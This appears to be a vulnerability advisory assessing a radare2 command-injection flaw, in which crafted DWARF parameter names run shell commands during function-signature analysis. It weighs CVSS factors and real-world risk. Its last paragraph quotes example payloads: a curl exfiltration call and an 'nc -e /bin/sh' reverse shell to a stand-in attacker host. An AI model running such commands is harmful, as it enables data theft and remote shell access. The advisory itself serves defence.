Radare2 CVE-2026-40527

Attacker must craft an ELF binary with malicious r2 command sequences embedded in DWARF DW_TAG_formal_parameter name fields. Victim must open this crafted binary in radare2 and execute the specific command sequence: 'aaa' (analyze all functions) followed by 'afsvj' or 'afsv' (analyze function signature view). Exploitation is limited to users who analyze untrusted binaries with DWARF debugging information enabled and actively use radare2's function signature analysis features. Does not affect users who only perform basic disassembly without DWARF parsing or those who strip debug symbols before analysis. The UI:R and PR:N vector indicates no authentication is needed, but user interaction (opening binary and running analysis commands) is mandatory. Exploitation scope is confined to the radare2 process context - no privilege escalation beyond the user's existing permissions.

Real-world risk is MODERATE despite the 7.8 CVSS score. Attack vector is local (AV:L) requiring the victim to open a malicious binary and execute specific analysis commands (aaa + afsvj), which significantly constrains exploitation scenarios compared to remote vulnerabilities. The UI:R (user interaction required) factor means this is not wormable or mass-exploitable. However, impact is severe (C:H/I:H/A:H) with full shell command execution at the privileges of the radare2 process. Primary risk scenarios: (1) malware analysts examining untrusted binaries in research environments, (2) supply chain attacks where malicious binaries are planted in repositories developers might analyze, (3) targeted attacks against security researchers. Not in CISA KEV suggests no widespread exploitation. Patch is available with exact commit reference (bc5a890), reducing remediation complexity. EPSS score unavailable but likely low given local attack vector and niche target audience. This is a targeted exploitation risk for reverse engineering workflows rather than enterprise-wide threat. Attack complexity is low (AC:L) once the attacker understands radare2's DWARF parsing, but weaponization requires binary crafting knowledge.

An attacker crafts a malicious ELF binary embedding shell commands (e.g., 'curl attacker.com/exfil?data=$(whoami)' or 'nc -e /bin/sh attacker.com 4444') within DWARF DW_TAG_formal_parameter name fields. A security researcher or malware analyst downloads this binary (disguised as legitimate sample or planted via supply chain compromise) and opens it in radare2. When the analyst runs standard analysis workflow commands 'aaa' (analyze all) followed by 'afsvj' (function signature JSON output), radare2's DWARF parser extracts the malicious parameter names and interpolates them unsanitized into pfq command strings, triggering shell command execution with the analyst's privileges. Publicly available exploit code has not been confirmed, but the VulnCheck advisory provides sufficient technical details for skilled attackers to reproduce.